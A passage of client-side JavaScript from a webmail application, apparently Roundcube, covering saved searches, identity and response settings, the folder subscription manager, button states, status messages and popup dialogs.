      this.http_post('search-delete', {_sid: this.env.search_id}, lock);
    }
  };

  // callback from server upon search-delete command
  this.remove_search_item = function(id)
  {
    if (this.savedsearchlist.remove('S' + id)) {
      this.triggerEvent('search_delete', {id: id});
    }

    this.env.search_id = null;
    this.env.search_request = null;
    this.list_contacts_clear();
    this.reset_qsearch();
    this.enable_command('search-delete', 'search-create', false);
  };

  this.listsearch = function(id)
  {
    var lock = this.set_busy(true, 'searching');

    if (this.contact_list) {
      this.list_contacts_clear();
    }

    this.reset_qsearch();

    if (this.savedsearchlist) {
      this.treelist.select('');
      this.savedsearchlist.select('S'+id);
    }
    else
      this.select_folder('S'+id, '', true);

    // reset vars
    this.env.current_page = 1;
    this.http_request('search', {_sid: id}, lock);
  };

  // display a dialog with QR code image
  this.qrcode = function()
  {
    var img = new Image(300, 300);

    img.src = this.url('addressbook/qrcode', {_source: this.env.source, _cid: this.get_single_cid()});

    return this.simple_dialog(img, 'qrcode', null, {
        button: false,
        cancel_button: 'close',
        width: 300,
        height: 300
    });
  };


  /*********************************************************/
  /*********        user settings methods          *********/
  /*********************************************************/

  // preferences section select and load options frame
  this.section_select = function(list)
  {
    var win, id = list.get_single_selection();

    if (id && (win = this.get_frame_window(this.env.contentframe))) {
      this.location_href({_action: 'edit-prefs', _section: id, _framed: 1}, win, true);
    }
  };

  this.response_select = function(list)
  {
    var id = list.get_single_selection();

    this.enable_command('delete', !!id && $.inArray(id, this.env.readonly_responses) < 0);

    if (id) {
      this.load_response(id, 'edit-response');
    }
  };

  // load response record
  this.load_response = function(id, action)
  {
    var win;

    if (win = this.get_frame_window(this.env.contentframe)) {
      if (id || action == 'add-response') {
        if (!id)
          this.responses_list.clear_selection();

        this.location_href({_action: action, _id: id, _framed: 1}, win, true);
      }
    }
  };

  this.identity_select = function(list)
  {
    var id = list.get_single_selection();

    this.enable_command('delete', !!id && list.rowcount > 1 && this.env.identities_level < 2);

    if (id) {
      this.load_identity(id, 'edit-identity');
    }
  };

  // load identity record
  this.load_identity = function(id, action)
  {
    var win;

    if (win = this.get_frame_window(this.env.contentframe)) {
      if (id || action == 'add-identity') {
        if (!id)
          this.identity_list.clear_selection();

        this.location_href({_action: action, _iid: id, _framed: 1}, win, true);
      }
    }
  };

  this.delete_identity = function(id)
  {
    if (!id && this.identity_list)
      id = this.identity_list.get_single_selection();

    if (id) {
      this.confirm_dialog(this.get_label('deleteidentityconfirm'), 'delete', function() {
          ref.http_post('settings/delete-identity', {_iid: id}, true);
      });
    }
  };

  this.delete_response = function(id)
  {
    if (!id && this.responses_list) {
      id = this.responses_list.get_single_selection();
    }

    if (id) {
      this.confirm_dialog(this.get_label('deleteresponseconfirm'), 'delete', function() {
          ref.http_post('settings/delete-response', {_id: id}, true);
      });
    }
  };

  // Update indetities list (add or update a record)
  this.update_identity_row = function(id, name, add)
  {
    var list = this.identity_list,
      rid = this.html_identifier(id);

    if (add) {
      list.insert_row({id: 'rcmrow' + rid, cols: [{className: 'mail', innerHTML: name}]});
      list.select(rid);
    }
    else {
      list.update_row(rid, [name]);
    }
  };

  // Update responses list (add or update a record)
  this.update_response_row = function(id, name, add)
  {
    var list = this.responses_list;

    if (add) {
      list.insert_row({id: 'rcmrow' + id, cols: [{className: 'name', innerHTML: name}]});
      list.select(id);
    }
    else {
      list.update_row(id, [name]);
    }
  };

  // Remove response record from the responses list
  this.remove_response = function(id)
  {
    if (this.responses_list) {
      this.responses_list.remove_row(id);
      this.show_contentframe(false);
    }

    this.enable_command('delete', false);
  };

  // Remove identity record from the identities list
  this.remove_identity = function(id)
  {
    var list = this.identity_list,
      rid = this.html_identifier(id);

    if (list && id) {
      list.remove_row(rid);
      this.show_contentframe(false);
    }

    this.enable_command('delete', false);
  };


  /*********************************************************/
  /*********        folder manager methods         *********/
  /*********************************************************/

  this.init_subscription_list = function()
  {
    var delim = RegExp.escape(this.env.delimiter);

    this.last_sub_rx = RegExp('['+delim+']?[^'+delim+']+$');

    this.subscription_list = new rcube_treelist_widget(this.gui_objects.subscriptionlist, {
        selectable: true,
        tabexit: false,
        parent_focus: true,
        id_prefix: 'rcmli',
        id_encode: this.html_identifier_encode,
        id_decode: this.html_identifier_decode,
        searchbox: '#foldersearch'
    });

    this.subscription_list
      .addEventListener('select', function(node) { ref.subscription_select(node.id); })
      .addEventListener('collapse', function(node) { ref.folder_collapsed(node) })
      .addEventListener('expand', function(node) { ref.folder_collapsed(node) })
      .addEventListener('search', function(p) { if (p.query) ref.subscription_select(); })
      .draggable({cancel: 'li.mailbox.root,input,div.treetoggle,.custom-control'})
      .droppable({
        // @todo: find better way, accept callback is executed for every folder
        // on the list when dragging starts (and stops), this is slow, but
        // I didn't find a method to check droptarget on over event
        accept: function(node) {
          if (!node.is('.mailbox'))
            return false;

          var source_folder = ref.folder_id2name(node.attr('id')),
            dest_folder = ref.folder_id2name(this.id),
            source = ref.env.subscriptionrows[source_folder],
            dest = ref.env.subscriptionrows[dest_folder];

          return source && !source[2]
            && dest_folder != source_folder.replace(ref.last_sub_rx, '')
            && !dest_folder.startsWith(source_folder + ref.env.delimiter);
        },
        drop: function(e, ui) {
          var source = ref.folder_id2name(ui.draggable.attr('id')),
            dest = ref.folder_id2name(this.id);

          ref.subscription_move_folder(source, dest);
        }
      });
  };

  this.folder_id2name = function(id)
  {
    return id ? ref.html_identifier_decode(id.replace(/^rcmli/, '')) : null;
  };

  this.subscription_select = function(id)
  {
    var folder;

    if (id && id != '*' && (folder = this.env.subscriptionrows[id])) {
      this.env.mailbox = id;
      this.show_folder(id);
      this.enable_command('delete-folder', !folder[2]);
    }
    else {
      this.env.mailbox = null;
      this.show_contentframe(false);
      this.enable_command('delete-folder', 'purge', false);
    }
  };

  this.subscription_move_folder = function(from, to)
  {
    if (from && to !== null && from != to && to != from.replace(this.last_sub_rx, '')) {
      var path = from.split(this.env.delimiter),
        basename = path.pop(),
        newname = to === '' || to === '*' ? basename : to + this.env.delimiter + basename;

      if (newname != from) {
        this.confirm_dialog(this.get_label('movefolderconfirm'), 'move', function() {
          ref.http_post('rename-folder', {_folder_oldname: from, _folder_newname: newname},
            ref.set_busy(true, 'foldermoving'));
        }, {button_class: 'save move'});
      }
    }
  };

  // tell server to create and subscribe a new mailbox
  this.create_folder = function()
  {
    this.show_folder('', this.env.mailbox);
  };

  // delete a specific mailbox with all its messages
  this.delete_folder = function(name)
  {
    if (!name)
      name = this.env.mailbox;

    if (name) {
      this.confirm_dialog(this.get_label('deletefolderconfirm'), 'delete', function() {
          ref.http_post('delete-folder', {_mbox: name}, ref.set_busy(true, 'folderdeleting'));
        });
    }
  };

  // Add folder row to the table and initialize it
  this.add_folder_row = function (id, name, display_name, is_protected, subscribed, class_name, refrow, subfolders)
  {
    if (!this.gui_objects.subscriptionlist)
      return false;

    // reset searching
    if (this.subscription_list.is_search()) {
      this.subscription_select();
      this.subscription_list.reset_search();
    }

    // disable drag-n-drop temporarily
    // some skins disable dragging in mobile mode, so we have to check if it is still draggable
    if (this.subscription_list.is_draggable())
      this.subscription_list.draggable('destroy').droppable('destroy');

    var row, n, tmp, tmp_name, rowid, collator, pos, p, parent = '',
      folders = [], list = [], slist = [],
      list_element = $(this.gui_objects.subscriptionlist);
      row = refrow ? refrow : $($('li', list_element).get(1)).clone(true);

    if (!row.length) {
      // Refresh page if we don't have a table row to clone
      this.goto_url('folders');
      return false;
    }

    // set ID, reset css class
    row.attr({id: 'rcmli' + this.html_identifier_encode(id), 'class': class_name});

    if (!refrow || !refrow.length) {
      // remove old data, subfolders and toggle
      $('ul,div.treetoggle', row).remove();
      row.removeData('filtered');
    }

    // set folder name
    $('a', row).first().text(display_name).removeAttr('title');

    // update subscription checkbox
    $('input[name="_subscribed[]"]', row).first().val(id)
      .prop({checked: subscribed ? true : false, disabled: is_protected ? true : false});

    // add to folder/row-ID map
    this.env.subscriptionrows[id] = [name, display_name, false];

    // copy folders data to an array for sorting
    $.each(this.env.subscriptionrows, function(k, v) { v[3] = k; folders.push(v); });

    try {
      // use collator if supported (FF29, IE11, Opera15, Chrome24)
      collator = new Intl.Collator(this.env.locale.replace('_', '-'));
    }
    catch (e) {};

    // sort folders
    folders.sort(function(a, b) {
      var i, f1, f2,
        path1 = a[0].split(ref.env.delimiter),
        path2 = b[0].split(ref.env.delimiter),
        len = path1.length;

      for (i=0; i<len; i++) {
        f1 = path1[i];
        f2 = path2[i];

        if (f1 !== f2) {
          if (f2 === undefined)
            return 1;
          if (collator)
            return collator.compare(f1, f2);
          else
            return f1 < f2 ? -1 : 1;
        }
        else if (i == len-1) {
          return -1
        }
      }
    });

    for (n in folders) {
      p = folders[n][3];
      // protected folder
      if (folders[n][2]) {
        tmp_name = p + this.env.delimiter;
        // prefix namespace cannot have subfolders (#1488349)
        if (tmp_name == this.env.prefix_ns)
          continue;
        slist.push(p);
        tmp = tmp_name;
      }
      // protected folder's child
      else if (tmp && p.startsWith(tmp))
        slist.push(p);
      // other
      else {
        list.push(p);
        tmp = null;
      }
    }

    // check if subfolder of a protected folder
    for (n=0; n<slist.length; n++) {
      if (id.startsWith(slist[n] + this.env.delimiter))
        rowid = slist[n];
    }

    // find folder position after sorting
    for (n=0; !rowid && n<list.length; n++) {
      if (n && list[n] == id)
        rowid = list[n-1];
    }

    // add row to the table
    if (rowid && (n = this.subscription_list.get_item(rowid, true))) {
      // find parent folder
      if (pos = id.lastIndexOf(this.env.delimiter)) {
        parent = id.substring(0, pos);
        parent = this.subscription_list.get_item(parent, true);

        // add required tree elements to the parent if not already there
        if (!$('div.treetoggle', parent).length) {
          $('<div>&nbsp;</div>').addClass('treetoggle collapsed').appendTo(parent);
        }
        if (!$('ul', parent).length) {
          $('<ul>').css('display', 'none').appendTo(parent);
        }
      }

      if (parent && n == parent) {
        $('ul', parent).first().append(row);
      }
      else {
        while (p = $(n).parent().parent().get(0)) {
          if (parent && p == parent)
            break;
          if (!$(p).is('li.mailbox'))
            break;
          n = p;
        }

        $(n).after(row);
      }
    }
    else {
      list_element.append(row);
    }

    // add subfolders
    $.extend(this.env.subscriptionrows, subfolders || {});

    // update list widget
    this.subscription_list.reset(true);
    this.subscription_select();

    // expand parent
    if (parent) {
      this.subscription_list.expand(this.folder_id2name(parent.id));
    }

    row = row.show().get(0);
    if (row.scrollIntoView)
      row.scrollIntoView(false);

    // Let skins to do their magic, e.g. Elastic will fix pretty checkbox
    if (!refrow)
      this.triggerEvent('clonerow', {row: row, id: id});

    return row;
  };

  // replace an existing table row with a new folder line (with subfolders)
  this.replace_folder_row = function(oldid, id, name, display_name, is_protected, class_name)
  {
    if (!this.gui_objects.subscriptionlist) {
      if (this.is_framed()) {
        // @FIXME: for some reason this 'parent' variable need to be prefixed with 'window.'
        return window.parent.rcmail.replace_folder_row(oldid, id, name, display_name, is_protected, class_name);
      }

      return false;
    }

    // reset searching
    if (this.subscription_list.is_search()) {
      this.subscription_select();
      this.subscription_list.reset_search();
    }

    var subfolders = {},
      row = this.subscription_list.get_item(oldid, true),
      parent = $(row).parent(),
      old_folder = this.env.subscriptionrows[oldid],
      prefix_len_id = oldid.length,
      prefix_len_name = old_folder[0].length,
      subscribed = $('input[name="_subscribed[]"]', row).first().prop('checked');

    // no renaming, only update class_name
    if (oldid == id) {
      $(row).attr('class', class_name || '');
      return;
    }

    // update subfolders
    $('li', row).each(function() {
      var fname = ref.folder_id2name(this.id),
        folder = ref.env.subscriptionrows[fname],
        newid = id + fname.slice(prefix_len_id);

      this.id = 'rcmli' + ref.html_identifier_encode(newid);
      $('input[name="_subscribed[]"]', this).first().val(newid);
      folder[0] = name + folder[0].slice(prefix_len_name);

      subfolders[newid] = folder;
      delete ref.env.subscriptionrows[fname];
    });

    // get row off the list
    row = $(row).detach();

    delete this.env.subscriptionrows[oldid];

    // remove parent list/toggle elements if not needed
    if (parent.get(0) != this.gui_objects.subscriptionlist && !$('li', parent).length) {
      $('ul,div.treetoggle', parent.parent()).remove();
    }

    // move the existing table row
    this.add_folder_row(id, name, display_name, is_protected, subscribed, class_name, row, subfolders);
  };

  // remove the table row of a specific mailbox from the table
  this.remove_folder_row = function(folder)
  {
    // reset searching
    if (this.subscription_list.is_search()) {
      this.subscription_select();
      this.subscription_list.reset_search();
    }

    var list = [], row = this.subscription_list.get_item(folder, true);

    // get subfolders if any
    $('li', row).each(function() { list.push(ref.folder_id2name(this.id)); });

    // remove folder row (and subfolders)
    this.subscription_list.remove(folder);

    // update local list variable
    list.push(folder);
    $.each(list, function(i, v) { delete ref.env.subscriptionrows[v]; });
  };

  this.subscribe = function(folder)
  {
    this.change_subscription_state(folder, true);
  };

  this.unsubscribe = function(folder)
  {
    this.change_subscription_state(folder, false);
  };

  this.change_subscription_state = function(folder, state)
  {
    if (folder) {
      var prefix = state ? '' : 'un',
        lock = this.display_message('folder' + prefix + 'subscribing', 'loading');

      this.http_post(prefix + 'subscribe', {_mbox: folder}, lock);

      // in case this was a list of search results, update also the main list
      $(this.gui_objects.subscriptionlist).find('input[value="' + folder + '"]').prop('checked', state);
    }
  };


  // when user select a folder in manager
  this.show_folder = function(folder, path, force)
  {
    var win, target = window,
      action = folder === '' ? 'add' : 'edit',
      url = '&_action=' + action + '-folder&_mbox=' + urlencode(folder);

    if (path)
      url += '&_path='+urlencode(path);

    if (win = this.get_frame_window(this.env.contentframe)) {
      target = win;
      url += '&_framed=1';
    }

    if (String(target.location.href).indexOf(url) >= 0 && !force)
      this.show_contentframe(true);
    else
      this.location_href(this.env.comm_path+url, target, true);
  };

  // disables subscription checkbox (for protected folder)
  this.disable_subscription = function(folder)
  {
    var row = this.subscription_list.get_item(folder, true);
    if (row)
      $('input[name="_subscribed[]"]', row).first().prop('disabled', true);
  };

  // resets state of subscription checkbox (e.g. on error)
  this.reset_subscription = function(folder, state)
  {
    var row = this.subscription_list.get_item(folder, true);
    if (row)
      $('input[name="_subscribed[]"]', row).first().prop('checked', state);
  };

  this.folder_size = function(folder)
  {
    var lock = this.set_busy(true, 'loading');
    this.http_post('folder-size', {_mbox: folder}, lock);
  };

  this.folder_size_update = function(size)
  {
    $('#folder-size').replaceWith(size);
  };

  // filter folders by namespace
  this.folder_filter = function(prefix)
  {
    this.subscription_list.reset_search();

    this.subscription_list.container.children('li').each(function() {
      var i, folder = ref.folder_id2name(this.id);
      // show all folders
      if (prefix == '---') {
      }
      // got namespace prefix
      else if (prefix) {
        if (folder !== prefix) {
          $(this).data('filtered', true).hide();
          return
        }
      }
      // no namespace prefix, filter out all other namespaces
      else {
        // first get all namespace roots
        for (i in ref.env.ns_roots) {
          if (folder === ref.env.ns_roots[i]) {
            $(this).data('filtered', true).hide();
            return;
          }
        }
      }

      $(this).removeData('filtered').show();
    });
  };

  /*********************************************************/
  /*********           GUI functionality           *********/
  /*********************************************************/

  this.init_button = function(cmd, prop)
  {
    var elm = document.getElementById(prop.id);
    if (!elm)
      return;

    var preload = false;
    if (prop.type == 'image') {
      elm = elm.parentNode;
      preload = true;
    }

    elm._command = cmd;
    elm._id = prop.id;
    if (prop.sel) {
      elm.onmousedown = function(e) { return ref.button_sel(this._command, this._id); };
      elm.onmouseup = function(e) { return ref.button_out(this._command, this._id); };
      if (preload)
        new Image().src = prop.sel;
    }
    if (prop.over) {
      elm.onmouseover = function(e) { return ref.button_over(this._command, this._id); };
      elm.onmouseout = function(e) { return ref.button_out(this._command, this._id); };
      if (preload)
        new Image().src = prop.over;
    }
  };

  // set event handlers on registered buttons
  this.init_buttons = function()
  {
    for (var cmd in this.buttons) {
      if (typeof cmd !== 'string')
        continue;

      for (var i=0; i<this.buttons[cmd].length; i++) {
        this.init_button(cmd, this.buttons[cmd][i]);
      }
    }
  };

  // set button to a specific state
  this.set_button = function(command, state)
  {
    var n, button, obj, a_buttons = this.buttons[command],
      len = a_buttons ? a_buttons.length : 0;

    for (n=0; n<len; n++) {
      button = a_buttons[n];
      obj = document.getElementById(button.id);

      if (!obj || button.status === state)
        continue;

      // get default/passive setting of the button
      if (button.type == 'image' && !button.status) {
        button.pas = obj._original_src ? obj._original_src : obj.src;
        // respect PNG fix on IE browsers
        if (obj.runtimeStyle && obj.runtimeStyle.filter && obj.runtimeStyle.filter.match(/src=['"]([^'"]+)['"]/))
          button.pas = RegExp.$1;
      }
      else if (!button.status)
        button.pas = String(obj.className);

      button.status = state;

      // set image according to button state
      if (button.type == 'image' && button[state]) {
        obj.src = button[state];
      }
      // set class name according to button state
      else if (button[state] !== undefined) {
        obj.className = button[state];
      }

      // disable/enable input buttons
      if (button.type == 'input' || button.type == 'button') {
        obj.disabled = state == 'pas';
      }
      else {
        $(obj).attr({
          tabindex: state == 'pas' || state == 'sel' ? '-1' : ($(obj).attr('data-tabindex') || '0'),
          'aria-disabled': state == 'pas' || state == 'sel' ? 'true' : 'false'
        });
      }
    }
  };

  // display a specific alttext
  this.set_alttext = function(command, label)
  {
    var n, button, obj, link, label,
      a_buttons = this.buttons[command],
      len = a_buttons ? a_buttons.length : 0;

    for (n=0; n<len; n++) {
      button = a_buttons[n];
      obj = document.getElementById(button.id);
      label = this.get_label(label);

      if (obj && button.type == 'image') {
        obj.setAttribute('alt', label);
        if ((link = obj.parentNode) && link.tagName.toLowerCase() == 'a')
          link.setAttribute('title', label);
      }
      else if (obj)
        obj.setAttribute('title', label);
    }
  };

  // mouse over button
  this.button_over = function(command, id)
  {
    this.button_event(command, id, 'over');
  };

  // mouse down on button
  this.button_sel = function(command, id)
  {
    this.button_event(command, id, 'sel');
  };

  // mouse out of button
  this.button_out = function(command, id)
  {
    this.button_event(command, id, 'act');
  };

  // event of button
  this.button_event = function(command, id, event)
  {
    var n, button, obj, a_buttons = this.buttons[command],
      len = a_buttons ? a_buttons.length : 0;

    for (n=0; n<len; n++) {
      button = a_buttons[n];
      if (button.id == id && button.status == 'act') {
        if (button[event] && (obj = document.getElementById(button.id))) {
          obj[button.type == 'image' ? 'src' : 'className'] = button[event];
        }

        if (event == 'sel') {
          this.buttons_sel[id] = command;
        }
      }
    }
  };

  // write to the document/window title
  this.set_pagetitle = function(title)
  {
    if (title && document.title)
      document.title = title;
  };

  // display a system message, list of types in common.css (below #message definition)
  this.display_message = function(msg, type, timeout, key)
  {
    if (msg && msg.length && /^[a-z._]+$/.test(msg))
      msg = this.get_label(msg);

    // pass command to parent window
    if (this.is_framed())
      return parent.rcmail.display_message(msg, type, timeout);

    if (!this.gui_objects.message) {
      // save message in order to display after page loaded
      if (type != 'loading')
        this.pending_message = [msg, type, timeout, key];
      return 1;
    }

    if (!type)
      type = 'notice';
    else if (type == 'loading') {
      if (!key)
        key = 'loading';
      if (!timeout)
        timeout = this.env.request_timeout * 1000;
      if (!msg)
        msg = this.get_label('loading');
    }

    if (!key)
      key = this.html_identifier(msg);

    var date = new Date(),
      id = type + date.getTime();

    if (!timeout) {
      switch (type) {
        case 'error':
        case 'warning':
          timeout = this.message_time * 2;
          break;

        case 'uploading':
          timeout = 0;
          break;

        default:
          timeout = this.message_time;
      }
    }

    // The same message is already displayed
    if (this.messages[key]) {
      // replace label
      if (this.messages[key].obj)
        $('div.content', this.messages[key].obj).html(msg);
      // store label in stack
      if (type == 'loading') {
        this.messages[key].labels.push({'id': id, 'msg': msg});
      }
      // add element and set timeout
      this.messages[key].elements.push(id);
      setTimeout(function() { ref.hide_message(id, type == 'loading'); }, timeout);
      return id;
    }

    // create DOM object and display it
    var obj = $('<div>').addClass(type + ' content').html(msg).data('key', key),
      cont = $(this.gui_objects.message).append(obj).show();

    this.messages[key] = {'obj': obj, 'elements': [id]};

    if (type == 'loading') {
      this.messages[key].labels = [{'id': id, 'msg': msg}];
    }
    else if (type != 'uploading') {
      obj.click(function() { return ref.hide_message(obj); })
        .attr('role', 'alert');
    }

    this.triggerEvent('message', { message:msg, type:type, timeout:timeout, object:obj });

    if (timeout > 0)
      setTimeout(function() { ref.hide_message(id, type != 'loading'); }, timeout);

    return id;
  };

  // make a message to disappear
  this.hide_message = function(obj, fade)
  {
    // pass command to parent window
    if (this.is_framed())
      return parent.rcmail.hide_message(obj, fade);

    if (!this.gui_objects.message)
      return;

    var k, n, i, o, m = this.messages;

    // Hide message by object, don't use for 'loading'!
    if (typeof obj === 'object') {
      o = $(obj);
      k = o.data('key');
      this.hide_message_object(o, fade);
      if (m[k])
        delete m[k];
    }
    // Hide message by id
    else {
      for (k in m) {
        for (n in m[k].elements) {
          if (m[k] && m[k].elements[n] == obj) {
            m[k].elements.splice(n, 1);
            // hide DOM element if last instance is removed
            if (!m[k].elements.length) {
              this.hide_message_object(m[k].obj, fade);
              delete m[k];
            }
            // set pending action label for 'loading' message
            else if (k == 'loading') {
              for (i in m[k].labels) {
                if (m[k].labels[i].id == obj) {
                  delete m[k].labels[i];
                }
                else {
                  o = m[k].labels[i].msg;
                  $('div.content', m[k].obj).html(o);
                }
              }
            }
          }
        }
      }
    }
  };

  // hide message object and remove from the DOM
  this.hide_message_object = function(o, fade)
  {
    if (fade)
      o.fadeOut(600, function() { $(this).remove(); });
    else
      o.hide().remove();
  };

  // remove all messages immediately
  this.clear_messages = function()
  {
    // pass command to parent window
    if (this.is_framed())
      return parent.rcmail.clear_messages();

    var k, n, m = this.messages;

    for (k in m)
      for (n in m[k].elements)
        if (m[k].obj)
          this.hide_message_object(m[k].obj);

    this.messages = {};
  };

  // display uploading message with progress indicator
  // data should contain: name, total, current, percent, text
  this.display_progress = function(data)
  {
    if (!data || !data.name)
      return;

    var msg = this.messages['progress' + data.name];

    if (!data.label)
      data.label = this.get_label('uploadingmany');

    if (!msg) {
      if (!data.percent || data.percent < 100)
        this.display_message(data.label, 'uploading', 0, 'progress' + data.name);
      return;
    }

    if (!data.total || data.percent >= 100) {
      this.hide_message(msg.obj);
      return;
    }

    if (data.text)
      data.label += ' ' + data.text;

    msg.obj.text(data.label);
  };

  // open a jquery UI dialog with the given content
  this.show_popup_dialog = function(content, title, buttons, options)
  {
    // forward call to parent window
    if (this.is_framed()) {
      return parent.rcmail.show_popup_dialog(content, title, buttons, options);
    }

    var popup = $('<div class="popup">');

    if (typeof content == 'object') {
      popup.append(content);
      if ($(content).is('iframe'))
        popup.addClass('iframe');
    }
    else
      popup.html(content);

    // assign special classes to dialog buttons
    var i = 0, fn = function(button, classes, idx) {
        if (typeof button == 'function') {
          button = {
            click: button,
            text: idx,
            'class': classes
          };
        }
        else {
          buttons['class'] = classes;
        }

        return button;
      };

    if (options && options.button_classes)
      $.each(buttons, function(idx, button) {
        var cl = options.button_classes[i];
        if (cl)
          buttons[idx] = fn(button, cl, idx);
        i++;
      });

    options = $.extend({
        title: title,
        buttons: buttons,
        modal: true,
        resizable: true,
        width: 500,
        close: function(event, ui) { $(this).remove(); }
      }, options || {});

    popup.dialog(options);

    // Remember the jQuery instance (window), useful when closing the dialog
    popup[0].jqref = $;

    if (options.width)
      popup.width(options.width);
    if (options.height)
      popup.height(options.height);

    var dialog = popup.parent();

    if (!options.noresize) {
      // resize and center popup
      var win = $(window), w = win.width(), h = win.height(),
        width = popup.width(),
        height = options.height || (popup[0].scrollHeight + 20),
        titlebar_height = $('.ui-dialog-titlebar', dialog).outerHeight() || 0,
        buttonpane_height = $('.ui-dialog-buttonpane', dialog).outerHeight() || 0,
        padding = (parseInt(dialog.css('padding-top')) + parseInt(popup.css('padding-top'))) * 2;

      popup.dialog('option', {
        height: Math.min(h - 40, height + titlebar_height + buttonpane_height + padding + 2),
        width: Math.min(w - 20, width + 28)
      });
    }
    else {
      popup.css('width', 'auto');
    }

    // Don't propagate keyboard events to the UI below the dialog (#6055)
    dialog.on('keydown keyup', function(e) { e.stopPropagation(); });

    // Add Enter key handler to the input, click the 'mainaction' button
    dialog.find('input[data-submit]').on('keydown', function(e) {
      if (e.which == 13) {
        dialog.find('.ui-dialog-buttonpane button.mainaction').click();
      }
    });

    this.triggerEvent('dialog-open', {obj: popup});

    return popup;
  };

  // show_popup_dialog() wrapper for simple dialogs with action and Cancel buttons
  this.simple_dialog = function(content, title, action_func, options)
  {
    if (!options)
      options = {};

    var title = this.get_label(title),
      save_label = options.button || 'save',
      save_class = options.button_class || save_label.replace(/^[^\.]+\./i, ''),
      cancel_label = options.cancel_button || 'cancel',
      cancel_class = options.cancel_class || cancel_label.replace(/^[^\.]+\./i, ''),
      close_func = function(e, ui, dialog) {
        if (!dialog)
          dialog = this;

        // The dialog might got open in the current window, but also any of its parents (#8627)
        // We have to use the jQuery object that did invoke the dialog, set in show_popup_dialog()
        dialog.jqref(dialog).dialog('close');
        if (options.cancel_func) options.cancel_func(e, ref);
      },
      buttons = [{
        text: this.get_label(cancel_label),
        'class': cancel_class.replace(/close/i, 'cancel'),
        click: close_func
      }];

    if (!action_func)
      buttons[0]['class'] += ' mainaction';
    else
      buttons.unshift({
        text: this.get_label(save_label),
        'class': 'mainaction ' + save_class,
        click: function(e, ui) { if (action_func(e, ref)) close_func(e, ui, this); }
      });

    return this.show_popup_dialog(content, title, buttons, options);
  };

  // show_popup_dialog() wrapper for alert() type dialogs
  this.alert_dialog = function(content, action, options)
  {
    options = $.extend(options || {}, {
        cancel_button: 'ok',
        cancel_class: 'save',
        cancel_func: action,
        noresize: true
      });

    return this.simple_dialog(content, options.title || 'alerttitle', null, options);
  };

  // simple_dialog() wrapper for confirm() type dialogs
  this.confirm_dialog = function(content, button_label, action, options)
  {
    var action_func = function(e, ref) { action(e, ref); return true; };

    options = $.extend(options || {}, {
        button: button_label || 'continue',
        noresize: true
      });

    return this.simple_dialog(content, options.title || 'confirmationtitle', action_func, options);
  };

  // enable/disable buttons for page shifting
  this.set_page_buttons = function()
  {
    this.enable_command('nextpage', 'lastpage', this.env.pagecount > this.env.current_page);
    this.enable_command('previouspage', 'firstpage', this.env.current_page > 1);

    this.update_pagejumper();
  };

  // mark a mailbox as selected and set environment variable
  this.select_folder = function(name, prefix, encode)
  {
    if (this.savedsearchlist) {
      this.savedsearchlist.select('');
    }

    if (this.treelist) {
      this.treelist.select(name);
    }
    else if (this.gui_objects.folderlist) {
      $('li.selected', this.gui_objects.folderlist).removeClass('selected');
      $(this.get_folder_li(name, prefix, encode)).addClass('selected');

      // trigger event hook
      this.triggerEvent('selectfolder', { folder:name, prefix:prefix });
    }
  };

  // adds a class to selected folder
  this.mark_folder = function(name, class_name, prefix, encode)
  {
    $(this.get_folder_li(name, prefix, encode)).addClass(class_name);
    this.triggerEvent('markfolder', {folder: name, mark: class_name, status: true});
  };

  // adds a class to selected folder
  this.unmark_folder = function(name, class_name, prefix, encode)
  {
    $(this.get_folder_li(name, prefix, encode)).removeClass(class_name);
    this.triggerEvent('markfolder', {folder: name, mark: class_name, status: false});
  };

  // helper method to find a folder list item
  this.get_folder_li = function(name, prefix, encode)
  {
    if (!prefix)
      prefix = 'rcmli';

    if (this.gui_objects.folderlist) {
      name = this.html_identifier(name, encode);
      return document.getElementById(prefix+name);
    }
  };

  // for reordering column array (Konqueror workaround)
  // and for setting some message list global variables
  this.set_message_coltypes = function(cols, repl, smart_col)
  {
    // update list mode columns list
    this.env.listcols = cols;

    // reset message list cols
    this.msglist_setup(this.env.layout);

    var list = this.message_list,
      thead = list ? list.thead : null,
      repl, cell, col, c, n, len, tr,
      listcols = this.env.msglist_cols;

    if (!this.env.coltypes)
      this.env.coltypes = {};

    // replace old column headers
    if (thead) {
      if (repl) {
        thead.innerHTML = '';
        tr = document.createElement('tr');

        for (n in listcols) {
          c = listcols[n];
          cell = document.createElement('th');
          cell.innerHTML = repl[c].html || '';
          if (repl[c].id) cell.id = repl[c].id;
          if (repl[c].className) cell.className = repl[c].className;
          tr.appendChild(cell);
        }

        if (list.checkbox_selection)
          list.insert_checkbox(tr, 'thead');

        thead.appendChild(tr);
      }

      for (n = 0, len = listcols.length; n < len; n++) {
        col = listcols[list.checkbox_selection ? n-1 : n];
        if ((cell = thead.rows[0].cells[n]) && (col == 'from' || col == 'to' || col == 'fromto')) {
          $(cell).attr('rel', col).find('span,a').text(this.get_label(col == 'fromto' ? smart_col : col));
        }
      }
    }

    this.env.subject_col = null;
    this.env.flagged_col = null;
    this.env.status_col = null;

    if (this.env.coltypes.folder)
      this.env.coltypes.folder.hidden = !(this.env.search_request || this.env.search_id) || this.env.search_scope == 'base';

    if ((n = $.inArray('subject', listcols)) >= 0) {
      this.env.subject_col = n;
      if (list)
        list.subject_col = n;
    }
    if ((n = $.inArray('flag', listcols)) >= 0)
      this.env.flagged_col = n;
    if ((n = $.inArray('status', listcols)) >= 0)
      this.env.status_col = n;

    if (list) {
      list.hide_column('folder', (this.env.coltypes.folder && this.env.coltypes.folder.hidden) || $.inArray('folder', listcols) < 0);
      list.init_header();
    }
  };

  // replace content of row count display
  this.set_rowcount = function(text, mbox)
  {
    // #1487752
    if (mbox && mbox != this.env.mailbox)
      return false;

    $(this.gui_objects.countdisplay).html(text);

    // update page navigation buttons
    this.set_page_buttons();
  };

  // replace content of mailboxname display
  this.set_mailboxname = function(content)
  {
    if (this.gui_objects.mailboxname && content)
      this.gui_objects.mailboxname.innerHTML = content;
  };

  // replace content of quota display
  this.set_quota = function(content)
  {
    if (this.gui_objects.quotadisplay && content && content.type == 'text')
      $(this.gui_objects.quotadisplay).text((content.percent||0) + '%').attr('title', content.title || '');

    this.triggerEvent('setquota', content);
    this.env.quota_content = content;
  };

  // update trash folder state
  this.set_trash_count = function(count)
  {
    this[(count ? 'un' : '') + 'mark_folder'](this.env.trash_mailbox, 'empty', '', true);
  };

  // update the mailboxlist
  this.set_unread_count = function(mbox, count, set_title, mark)
  {
    if (!this.gui_objects.mailboxlist)
      return false;

    this.env.unread_counts[mbox] = count;
    this.set_unread_count_display(mbox, set_title);

    if (mark)
      this.mark_folder(mbox, mark, '', true);
    else if (!count)
